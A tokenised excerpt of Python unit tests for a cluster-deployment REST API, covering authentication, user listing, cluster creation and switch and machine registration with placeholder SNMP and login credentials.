"=_", "request", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "token_", "=_", "resp_", "[_", "'", "token", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "cluster_", "\\u\\u\\uNL\\u\\u\\u_", "adapter", "\\u", "name_", ",_", "adapter", "\\u", "id_", ",_", "os", "\\u", "id_", ",_", "flavor", "\\u", "id_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "self_", "._", "\\u", "get", "\\u", "adapter", "\\u", "info_", "(_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "'/", "cluster", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "name", "'_", "]_", "=_", "'", "test\\u", "cluster", "1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "adapter", "\\u", "id", "'_", "]_", "=_", "adapter", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "os", "\\u", "id", "'_", "]_", "=_", "os", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "os", "\\u", "id_", "=_", "os", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "flavor", "\\u", "id", "'_", "]_", "=_", "flavor", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "name", "'_", "]_", "=_", "'", "test\\u", "cluster", "2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "adapter", "\\u", "id", "'_", "]_", "=_", "adapter", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "os", "\\u", "id", "'_", "]_", "=_", "os", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "flavor", "\\u", "id_", "=_", "flavor", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "[_", "'", "flavor", "\\u", "id", "'_", "]_", "=_", "flavor", "\\u", "id_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "create", " ", "a", " ", "switch_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "datas_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ip", "'_", ":_", "self_", "._", "SWITCH", "\\u", "IP", "\\u", "ADDRESS_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cred", "ential", "s", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "version", "\"_", ":_", "\"", "2c", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "communi", "ty", "\"_", ":_", "\"", "public", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vendor", "'_", ":_", "'", "hua", "wei", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "state", "'_", ":_", "'", "under", "\\u", "monitorin", "g", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ip", "'_", ":_", "'", "172", ".2", "9.8", ".4", "0", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "cred", "ential", "s", "'_", ":_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "version", "\"_", ":_", "\"", "2c", "\"_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "\"", "communi", "ty", "\"_", ":_", "\"", "public", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vendor", "'_", ":_", "'", "hua", "wei", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "state", "'_", ":_", "'", "under", "\\u", "monitorin", "g", "'_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "data_", "in_", "datas_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ap", "i", "Test", "Case_", "(_", "unittest2_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "get_", "(_", "self_", ",_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "test\\u", "client_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", ",_", "headers_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "setting_", "._", "USER", "\\u", "AUTH", "\\u", "HEAD", "ER", "\\u", "NAME_", ":_", "self_", "._", "token_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ap", "i", "Test", "Case_", "(_", "unittest2_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "post_", "(_", "self_", ",_", "url_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "test\\u", "client_", "._", "post_", "(_", "url_", ",_", "data_", "=_", "json_", "._", "dumps_", "(_", "data_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ap", "i", "Test", "Case_", "(_", "unittest2_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "put_", "(_", "self_", ",_", "url_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "test\\u", "client_", "._", "put_", "(_", "url_", ",_", "data_", "=_", "json_", "._", "dumps_", "(_", "data_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ap", "i", "Test", "Case_", "(_", "unittest2_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "delete_", "(_", "self_", ",_", "url_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "self_", "._", "test\\u", "client_", "._", "delete_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ap", "i", "Test", "Case_", "(_", "unittest2_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "database_", "._", "drop", "\\u", "db_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "reload_", "(_", "setting_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "super_", "(_", "Ap", "i", "Test", "Case_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Ap", "i", "Test", "Case_", "(_", "unittest2_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "\\u", "get", "\\u", "adapter", "\\u", "info_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "adapter", "\\u", "name_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "adapter", "\\u", "id_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os", "\\u", "id_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flavor", "\\u", "id_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "adapters_", "=_", "self_", "._", "get_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'/", "adapter", "s", "'_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "get", "\\u", "data_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "adapters_", "=_", "json_", "._", "loads_", "(_", "adapters_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "adapter_", "in_", "adapters_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "adapter_", "[_", "'", "flavor", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "adapter", "\\u", "name_", "=_", "adapter_", "[_", "'", "name", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "adapter", "\\u", "id_", "=_", "adapter_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "os", "\\u", "id_", "=_", "adapter_", "[_", "'", "support", "ed", "\\u", "ose", "s", "'_", "]_", "[_", "0_", "]_", "[_", "'", "os", "\\u", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "flavor_", "in_", "adapter_", "[_", "'", "flavor", "s", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "flavor", "\\u", "id_", "=_", "flavor_", "[_", "'", "id", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "adapter", "\\u", "name_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "adapter", " ", "name", " ", "not", " ", "found", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "adapter", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "adapter", " ", "id", " ", "not", " ", "found", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "os", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "os", " ", "id", " ", "not", " ", "found", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "flavor", "\\u", "id_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "raise_", "Exception_", "(_", "'", "flavor", " ", "id", " ", "not", " ", "found", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "(_", "adapter", "\\u", "name_", ",_", "adapter", "\\u", "id_", ",_", "os", "\\u", "id_", ",_", "flavor", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Auth_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "user", " ", "authenticat", "ion", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Auth_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Auth_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Auth_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Auth_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Auth_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "login", "\\u", "logout_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "login_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "users", "/", "token", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "self_", "._", "USER", "\\u", "CREDENTIALS", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request", "\\u", "data_", "=_", "json_", "._", "dumps_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "test\\u", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "request", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "follow", "\\u", "redirects_", "=_", "True_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Test", " ", "logout_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "users", "/", "logo", "ut", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "test\\u", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "follow", "\\u", "redirects_", "=_", "True_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Auth_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "login", "\\u", "failed_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "users", "/", "token", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Wro", "ng", " ", "credentials_", "\\u\\u\\uNL\\u\\u\\u_", "data\\u", "list_", "=_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "email", "\"_", ":_", "\"", "xxx", "\"_", ",_", "\"", "password", "\"_", ":_", "\"", "admin", "\"_", "}_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "\"", "email", "\"_", ":_", "\"", "admin", "@", "hua", "wei", ".", "com", "\"_", ",_", "\"", "password", "\"_", ":_", "\"", "xxx", "\"_", "}_", "\\u\\u\\uNL\\u\\u\\u_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "data_", "in_", "data\\u", "list_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return", "\\u", "value_", "=_", "self_", "._", "test\\u", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "follow", "\\u", "redirects_", "=_", "True_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "In_", "(_", "'", "missi", "ng", " ", "email", " ", "or", " ", "password", "'_", ",_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "disable", " ", "user_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "User_", "._", "query_", "._", "filter", "\\u", "by_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "email_", "=_", "\"", "admin", "@", "hua", "wei", ".", "com", "\"_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "update_", "(_", "{_", "\"", "active", "\"_", ":_", "False_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "request", "\\u", "data_", "=_", "json_", "._", "dumps_", "(_", "self_", "._", "USER", "\\u", "CREDENTIALS", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "test\\u", "client_", "._", "post_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "url_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "data_", "=_", "request", "\\u", "data_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "follow", "\\u", "redirects_", "=_", "True_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "TOD", "O", "(", "wei", "don", "g", "):", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "self", ".", "assert", "Equal", "(", "return", "\\u", "value", ".", "status", "\\u", "code", ",", " ", "403", ")_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "self", ".", "assert", "In", "(\"", "fail", "ed", " ", "to", " ", "login", "\",", " ", "return", "\\u", "value", ".", "get", "\\u", "data", "())", "_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "User", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "user", " ", "api", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "User", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "User", "API_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "User", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "User", "API_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "User", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "users_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "users", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", "._", "get_", "(_", "url_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resp_", "=_", "json_", "._", "loads_", "(_", "return", "\\u", "value_", "._", "get", "\\u", "data_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "count_", "=_", "len_", "(_", "resp_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "count_", ",_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "return", "\\u", "value_", "._", "status", "\\u", "code_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Test", " ", "cluster", " ", "api", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "set", "Up_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Cluster", "API_", ",_", "self_", ")_", "._", "set", "Up_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "a", " ", "machine_", "\\u\\u\\uNL\\u\\u\\u_", "url_", "=_", "'/", "switche", "s", "/", "2", "/", "machine", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "mac", "'_", ":_", "'", "2", "8", ":", "6e", ":", "d4", ":", "4", "6", ":", "c4", ":", "25", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "port", "'_", ":_", "'", "1", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "vlan", "s", "'_", ":_", "[_", "88_", "]_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "url_", "=_", "'/", "cluster", "s", "/", "1", "/", "host", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "data_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "name", "'_", ":_", "'", "test\\u", "cluster", "\\u", "host", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "rein", "stall", "\\u", "os", "'_", ":_", "True_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "machine", "\\u", "id", "'_", ":_", "1_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "post_", "(_", "url_", ",_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "tear", "Down_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "super_", "(_", "Test", "Cluster", "API_", ",_", "self_", ")_", "._", "tear", "Down_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Cluster", "API_", "(_", "Ap", "i", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "list", "\\u", "clusters_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "list", " ", "cluster", "s", " ", "success", "full", "y_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "url_", "=_", "'/", "cluster", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return", "\\u", "value_", "=_", "self_", 